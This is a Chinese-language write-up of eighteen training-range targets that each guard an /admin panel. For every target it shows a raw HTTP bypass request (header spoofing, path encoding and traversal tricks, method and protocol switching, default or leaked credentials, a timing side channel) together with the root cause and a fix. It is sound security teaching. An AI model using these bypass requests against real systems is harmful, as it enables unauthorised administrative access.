访问控制失败通常不是一处判断写错,它通常有两处判断不一致——一处负责拦,一处负责放,中间没有人对账。
下面十八个靶场同属一个入口:/admin。前十个返回 403,后八个返回 401。每一关的复现都从访问开始,记录服务器的返回,再逐步定位判断依据。本文共18个靶场,每个靶场都有独立的环境进行漏洞复现
在线靶场:https://hexc2.com/

靶场地址:https://hexc2.com/laboratory/targets/120
访问 /admin,返回 403。页面提示该面板仅允许内网访问,响应头中 Server: Apache/2.4.54 (Debian),Content-Type: text/html,没有其他可用的版本或路径线索。
判断依据在服务端,且与网络层相关。尝试在请求头中声明来源:
httpGET /admin HTTP/1.1
Host: 64.90.22.173:32864
X-Forwarded-For: 127.0.0.1
请求头末尾增加了 X-Forwarded-For,其余请求头保持原样
状态码从 403 变为 200,响应体中出现 STATUS AUTHORIZED 与 FLAG hexc2{access-l01-demo}。

管理面板返回,flag 位于第四行
服务端使用 $_SERVER['HTTP_X_FORWARDED_FOR'] 作为来源判断依据。该值来自请求头,属于客户端可控数据;真实来源记录在 TCP 连接的 REMOTE_ADDR 中,无法通过请求头改写。以 X-Real-IP 替代同样有效。
部署链路中需要注意的是 nginx 的 $proxy_add_x_forwarded_for,该变量为追加行为,客户端提交的值会被保留在最前。后端若取第一个 IP,等同于采信客户端声明。
修复时应仅使用 REMOTE_ADDR;存在反向代理时,由代理覆盖该头,应用侧只信任代理写入的值。
靶场地址:https://hexc2.com/laboratory/targets/121
访问 /admin 返回 403,响应体是一段固定文案,不包含路径或框架信息。测试相邻路径形态,观察拦截是否随路径变化:
httpGET /admin/ HTTP/1.1
Host: 64.90.22.173:32865
请求行结尾由 /admin 改为 /admin/,其余不变

面板返回,flag 位于第四行
拦截规则采用精确字符串比对($path === '/admin'),而 Web 服务器在将请求交给应用前会执行路径规范化:合并多余斜杠、解析 /./ 段。三种变体在应用层均解析为 /admin,但在拦截层与原字符串不相等。
需要注意 //admin 在该环境不成立。Apache 将双斜杠前缀视为绝对 URI 的起始,按主机名解析,请求不会落入管理面板分支。
修复方式为在规范化之后执行判断,或基于路由解析结果鉴权,而非原始 URL 字符串。
靶场地址:https://hexc2.com/laboratory/targets/122
/admin 返回 403。将首字母改为大写:
httpGET /Admin HTTP/1.1
Host: 64.90.22.173:32866
请求行中的 admin 改为 Admin

面板返回
拦截层使用 str_contains($path, 'admin'),区分大小写;路由层使用 stripos,不区分。两个函数处理同一字符串,得出不同结论。
这一差异在同源环境下容易被忽略,在 Windows/IIS 上则更为常见:文件系统本身不区分大小写,而规则按小写编写。
修复方式为统一比较语义——检测与路由使用同一套大小写规则,或统一归一化后再比对。
靶场地址:https://hexc2.com/laboratory/targets/123
/admin 返回 403。将路径中的一个字符做 URL 编码:
httpGET /%61dmin HTTP/1.1
Host: 64.90.22.173:32867%61 对应字符 a。

请求行中的 a 被替换为 %61

面板返回
拦截层读取 $_SERVER['REQUEST_URI'],该值为未解码的原始 URI,匹配不到 admin;路由层读取 parse_url() 解析后的 path,此时已完成解码,得到 /admin。
问题不在编码本身,而在解码与检测的先后顺序。若前置组件解码、后端不解码,或解码次数不同,表现会随之变化。
修复方式为先解码再检测,且仅解码一次。多次解码不构成修复,%2561 可绕过解码两次的实现。
靶场地址:https://hexc2.com/laboratory/targets/124
/admin 返回 403。在路径后附加分号参数:
httpGET /admin;.css HTTP/1.1
Host: 64.90.22.173:32868
请求行增加了 ;.css

面板返回
分号之后的内容属于矩阵参数(matrix parameter)。Tomcat、Spring 等容器会将其从路径主体中剥离,作为参数处理,路径本身仍为 /admin。字符串比对看到的是完整字符串,两者不相等。
这一手法常见于 Java 技术栈,PHP 环境相对少见。起作用的是分号语义,与 .css 后缀无关——替换为任意参数名结果一致。
修复方式为在规范化阶段剥离分号及其后内容,或明确禁用路径参数。
靶场地址:https://hexc2.com/laboratory/targets/125
/admin 与 /admin/ 均返回 403。追加常见后缀:
httpGET /admin.json HTTP/1.1
Host: 64.90.22.173:32869
请求行增加了 .json 后缀

面板返回
拦截层枚举了两个精确字符串,未覆盖管理面板的其他路由写法。路由层对后缀不敏感,仍解析至管理控制器。
黑名单的本质局限在于需要穷举全部变体,而变体空间不可穷举。补充 .json 之后,.php、.xml、.bak 仍在空间内。
修复方式为改用白名单:明确公开的路径(首页、静态资源、登录页)之外一律鉴权。同一敏感资源的全部路由变体应共享同一条权限检查。
靶场地址:https://hexc2.com/laboratory/targets/126
GET /admin 返回 403。将方法改为 POST,请求体为空:
httpPOST /admin HTTP/1.1
Host: 64.90.22.173:32870
Content-Length: 0
请求行的方法由 GET 改为 POST

面板返回
拦截逻辑实现于处理 GET 查询参数的分支内,POST 分支未挂载同等检查。路由层不区分方法,仍将请求交给管理控制器。
同类问题在 WAF 中表现为:仅检查 URL 查询串,不解析请求体。将参数移入 body 即可绕过。
修复方式为按路由鉴权,所有方法进入同一入口执行同一判断,避免「某方法无需检查」的例外设计。
靶场地址:https://hexc2.com/laboratory/targets/127
访问根路径 / 返回 403。在请求中添加代理重写头:
httpGET / HTTP/1.1
Host: 64.90.22.173:32871
X-Original-URL: /admin
请求行为 /,X-Original-URL 指向 /admin

面板返回,页面标题包含 via X-Original-URL 标记
WAF 检查请求行,读到的路径是 /;反向代理读取 X-Original-URL,将其作为转发目标,后端实际收到 /admin。两个组件对同一请求的解释不一致。
此问题在 IIS + ARR 组合中较为典型,X-Rewrite-URL 具有相同效果。
修复方式为在代理层剥离客户端可控的重写头,并将鉴权置于最终路由之后。
靶场地址:https://hexc2.com/laboratory/targets/128
访问 /admin 返回 403。测试以 /static/ 开头的路径:
httpGET /static/../admin HTTP/1.1
Host: 64.90.22.173:32872客户端需保留 .. 不被提前规范化,命令行使用 curl --path-as-is,或在 Repeater 中直接发送原始路径。

路径前缀为 /static/,经规范化后指向 /admin

面板返回
放行条件为「路径以 /static/ 开头」。该请求满足前缀条件,但规范化后脱离静态目录,指向 /admin。判断依据与执行结果并非同一份数据。
浏览器地址栏通常会自动折叠 ..,因此同一路径在浏览器与命令行中的结果可能不同,这是客户端提前规范化所致,非服务端差异。
修复方式为规范化后使用 realpath 校验目标仍位于允许目录内,不以前缀匹配作为访问控制依据。
靶场地址:https://hexc2.com/laboratory/targets/129
GET /admin 使用 HTTP/1.1 返回 403,响应头正常。将协议版本降为 1.0:
httpGET /admin HTTP/1.0
Host: 64.90.22.173:32873命令行对应 curl --http1.0,Repeater 右上角的下拉框可切换版本。

请求行结尾的 1.1 改为 1.0

面板返回,页面标注 HTTP/1.0
过滤规则基于 HTTP/1.1 的请求结构实现,1.0 请求落入未处理的兼容分支,默认放行。
这是解析差异在协议层的体现。同类场景中更常见的是 Transfer-Encoding: chunked:WAF 不解析分块编码的请求体,后端正常解析,检查范围与实际内容不一致。
此类问题的共同点是「无法解析即放行」。状态码上仅表现为少一次 403,实际是整个请求绕过了检查。
修复方式为检测组件与后端采用一致的协议解析实现;无法完整解析的请求应直接拒绝,而非放行。
靶场地址:https://hexc2.com/laboratory/targets/130
访问 /admin 返回 401,响应头包含 WWW-Authenticate: Basic realm="Admin Console",说明启用 HTTP Basic 认证。
浏览器会弹出认证框,但该认证在协议层仅为一行请求头。尝试出厂凭据:
httpGET /admin HTTP/1.1
Host: 64.90.22.173:32874
Authorization: Basic YWRtaW46YWRtaW4=YWRtaW46YWRtaW4= 解码后为 admin:admin。

Authorization 头中为默认凭据

认证通过,面板返回
系统预置了弱口令,部署时未强制修改,且登录失败无次数限制。
在 Basic 认证场景中,浏览器弹窗与手动添加请求头效果一致,抓包与重放不受弹窗影响。
修复方式为部署流程强制修改默认口令,或不预设固定口令,初始化时生成随机值写入一次性文件。
靶场地址:https://hexc2.com/laboratory/targets/131
/admin 返回 401 并触发认证。对路径做变形:
httpGET /admin/..;/ HTTP/1.1
Host: 64.90.22.173:32875客户端需保留原始路径,使用 curl --path-as-is 或在 Repeater 中直接发送。

路径为 /admin/..;/,未携带 Authorization

面板返回,未触发认证
认证规则挂在 /admin 这一 location 上。路径变形后请求落在认证区域之外,而后端路由经过解析仍指向管理面板。
鉴权按字面路径匹配,路由按语义解析,两者覆盖范围不一致。
修复方式为在路由解析之后执行鉴权,或采用默认拒绝、显式放行的白名单模型。
靶场地址:https://hexc2.com/laboratory/targets/132
GET /admin 返回 401。将方法改为 OPTIONS:
httpOPTIONS /admin HTTP/1.1
Host: 64.90.22.173:32876
请求行的方法为 OPTIONS

面板返回,响应头包含 Allow: GET, POST, OPTIONS
认证逻辑以方法为条件实现,仅覆盖 GET 与 POST,其余方法直接进入业务处理。
响应头中的 Allow 字段由服务器生成,直接列出了支持的方法,可作为后续测试的参考。
修复方式为先行鉴权、再按方法分派,不保留「该方法无需鉴权」的例外。
靶场地址:https://hexc2.com/laboratory/targets/133
/admin 返回 401。携带 Authorization 头访问时返回 403,说明该通道被显式禁用。转而测试 Cookie 通道:
httpGET /admin HTTP/1.1
Host: 64.90.22.173:32877
Cookie: auth=YWRtaW46YWRtaW4=
凭据改由 Cookie 传递

面板返回
系统在加固主认证通道的同时,保留了基于 Cookie 的旧通道,凭据格式仍为 base64 编码的用户名与口令。
多个认证入口并存时,安全性取决于最弱的一条。主通道的限制不作用于旧通道。
修复方式为下线遗留通道;过渡期内为旧通道设置失效时间,并与主通道复用同一套校验逻辑。
靶场地址:https://hexc2.com/laboratory/targets/134
访问 /admin 返回 401,提示该面板仅对内网开放。该提示与第一关相同,仅状态码不同。
添加来源头:
httpGET /admin HTTP/1.1
Host: 64.90.22.173:32878
X-Forwarded-For: 127.0.0.1
与第一关使用同一请求头

面板返回
判断依据仍为客户端可控的请求头,与第一关同源。
403 与 401 的差异仅在响应语义:前者表示禁止访问,后者表示需要身份。二者都可能由同一个来源判断触发,绕过手法一致。
修复方式为将网络层访问控制交由网络层实现(安全组、VPN、mTLS),应用层不以请求头判断来源。
靶场地址:https://hexc2.com/laboratory/targets/135
该靶场无登录入口,直接从目录探测开始。请求备份目录下的仓库配置:
textGET /backup/.git/config 200
仓库配置可被直接读取
响应为纯文本,其中 [remote "origin"] 段的 url 字段包含明文凭据:
ini[remote "origin"]
url = https://admin:LetMeIn2026@git.internal/hexc2/panel.git以该凭据访问管理面板:
httpGET /admin HTTP/1.1
Host: 64.90.22.173:32879
Authorization: Basic YWRtaW46TGV0TWVJbjIwMjY=
使用泄露的凭据通过认证

面板返回
.git 目录被 Web 服务器作为静态资源对外提供。仓库配置中携带凭据的 remote URL 通常为免密推送而设置,一旦配置目录可读,凭据随之泄露。
此路径与注入类漏洞无关,属于文件暴露导致的凭据失守,危害等同于直接获得管理权限。
修复方式为禁止 Web 访问 .git、备份目录及 .env 等敏感路径;凭据交由 CI 的 secret 管理,不写入 remote URL。
靶场地址:https://hexc2.com/laboratory/targets/136
从前端页面观察,管理功能位于 /admin,访问该路径需要认证。检查同域下的接口路径:
httpGET /api/v1/internal/panel HTTP/1.1
Host: 64.90.22.173:32880
请求未携带任何凭据

响应为 JSON,role 字段为 administrator
响应体:
json{"code":0,"role":"administrator","flag":"hexc2{access-l17-demo}"}同一业务能力暴露了两个入口,页面路由实施了鉴权,接口未纳入权限检查范围。
攻击面按入口计算,不按功能计算。只要存在一个未鉴权的入口,其余入口的加固不构成有效防护。
修复方式为建立接口清单,网关层统一鉴权,后端接口默认要求认证并按白名单放行。
靶场地址:https://hexc2.com/laboratory/targets/137
/admin 返回 401,用户名错误与口令错误的响应内容完全一致,无法从文案判断账号是否存在。
对两组请求计时:
bashtime curl -u admin:wrong http://64.90.22.173:32881/admin
time curl -u nobody:wrong http://64.90.22.173:32881/admin
确认用户名后使用正确口令

面板返回
admin 一组稳定多出约 350ms。服务端对存在的用户名执行了 usleep(350000),不存在的用户名提前返回,两条分支耗时不一致。
口令均为 wrong,唯一变量是用户名,时间差暴露了后端执行到哪一分支。据此可确认有效用户名,将爆破空间由「用户名 × 口令」压缩至「口令」一维。
确认用户名后使用 admin:admin123 通过认证。
修复方式为两条分支执行等时处理:口令错误同样执行口令哈希运算或固定延时,响应内容与状态码保持一致。
十八个靶场的入口相同,绕过点分布在协议、路径、方法、凭据与响应时序上。
其中十四关的成因可归结为同一模式:检查环节与执行环节处理的数据不一致,或检查未覆盖执行路径的全部变体。其余四关分别对应默认凭据、文件暴露导致的凭据泄露、未鉴权接口与侧信道。
排查此类问题时可沿用三条判断:检查读取的是哪份数据;执行读取的是哪份数据;两份数据在什么条件下出现差异。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。